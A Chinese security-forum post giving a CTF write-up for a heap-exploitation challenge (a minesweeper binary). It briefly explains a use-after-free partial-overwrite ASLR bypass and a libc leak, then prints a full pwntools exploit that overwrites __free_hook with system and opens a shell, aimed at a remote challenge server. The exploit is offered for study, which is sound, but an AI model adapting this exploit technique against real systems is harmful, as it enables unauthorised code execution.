-
-
[原创]看雪6月 京东 2018CTF 第十四题——覆盖小端最低字节绕过ASLR
-
发表于: 2018-7-14 09:09 2609
-
0x00 前言
这题最后做的我很坑,成功的莫名其妙,最后经过@poyoten师傅的指点,发现是libc搞混了。。。不过现在有点事,先写好回头在补。。。
0x01 解题
解题用了0day安全一书中的覆盖小端低字节实现绕过ALSR的操作,其中hero name
字段本在堆上,UAF覆盖最低字节,让他指向一个unsorted bin,然后改写unsorted bin大小,顺便在相应大小后准备好prev_size
过prev_size==size
的check。然后改写之后拿到一个overlap,覆盖棋盘数据的指针数组和内容本身(记录棋牌里的旁边的雷的数量,是否有雷,是否被踩过或者扫过)。这个时候,申请一个chunk,使得棋盘数据变成libc unsorted bin的leak,然后显示出来。但是只能显示一半,所以再通过覆写指针数组第一个指针的最低字节,使得它加上1,可以leak另一半。leak完之后就简单了,通过hero_name
那个字段写__free_hook
,然后留言/bin/sh\x00
,getshell。
exp如下,详细解题过程到时候再补:
from pwn import * g_local=True context.log_level='debug' if g_local: sh =process('./minesweep')#, env={'LD_PRELOAD':'./libc.so.6'}) #gdb.attach(sh) UNSORTED_BIN_OFF = 0x3c4b78 e = ELF('./libc-2.23.so') FREE_HOOK_OFF = e.symbols["__free_hook"] SYSTEM_OFF = e.symbols["system"] else: sh = remote("139.199.99.130", 8686) #sh = remote("192.168.106.150", 9999) e=ELF('./libc.so.6.given') UNSORTED_BIN_OFF = 0x3c27b8 FREE_HOOK_OFF = e.symbols["__free_hook"] + 0x1000 SYSTEM_OFF = e.symbols["system"] + 0x1000 LEAK_OFF = 0x5a LEAK_INTEVAL = 3 def send_num(num): sh.send(str(num) + "\x00\n") def send_str(s): sh.send(s + "\x00\n") def enter_back_game(): send_num(1) ret = sh.recvuntil("* * * * * * * * \n----------------------\n") send_str("back") sh.recvuntil("$ ") return ret def enter_out_game(): send_num(1) sh.recvuntil("* * * * * * * * \n----------------------\n") send_str("out") sh.recvuntil("$ ") def play_game_win(x,y,z,payload): send_num(1) sh.recvuntil("* * * * * * * * \n----------------------\n") send_str("explore") sh.recvuntil("input x,y,z\n") send_str(str(x) + "," + str(y) + "," + str(z)) sh.recvuntil("leave your name,my hero\n") sh.send(payload + "\n") send_str("back") sh.recvuntil("$ ") def feedback_bug(length, msg): send_num(2) sh.recvuntil("input the length of your feed back:") send_num(length) sh.send(msg) sh.recvuntil("$ ") sh.recvuntil("$ ") enter_out_game() fake_struc1 = p64(0) fake_struc1 += p64(1) fake_struc1 += p64(0) fake_struc1 += p64(1) fake_struc1 += p64(0) fake_struc1 += "\x98\n" # heap arbitrary write, to change unsorted bin size feedback_bug(0x30, fake_struc1) feedback_bug(0x100, "A" * 0xff + "\n") feedback_bug(0x100, p64(0x200) + "\n") # prev_size == size feedback_bug(0x90, "A\n") #prepare prev_size, put 0xa1 tp unsorted bin play_game_win(1,1,3,p16((0x200) | 1)) feedback_bug(0xe0, "A" + "\n") #change original * data to libc leak fst_leak = enter_back_game() feedback_bug(0xe0, "A" * 0xa0 + "\x91\n") #change original 0x90 -> 0x91 to leak second half snd_leak = enter_back_game() print fst_leak + snd_leak libc_addr = ord(fst_leak[LEAK_OFF]) libc_addr += ord(snd_leak[LEAK_OFF]) << 8 libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL]) << 16 libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL]) << 24 libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 32 libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 40 libc_addr -= UNSORTED_BIN_OFF print hex(libc_addr) print hex(e.symbols["__free_hook"]) print hex(e.symbols["system"]) fake_struc1 = p64(0) fake_struc1 += p64(1) fake_struc1 += p64(0) fake_struc1 += p64(1) fake_struc1 += p64(0) fake_struc1 += p64(libc_addr + FREE_HOOK_OFF) feedback_bug(0x31, fake_struc1 + "\n") feedback_bug(0x90, "A\n") sh.interactive() play_game_win(1,1,3, p64(libc_addr + SYSTEM_OFF)) send_num(2) sh.recvuntil("input the length of your feed back:") send_num(0x30) sh.send("/bin/sh\x00\n") sh.interactive()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图
赞赏
雪币:
留言: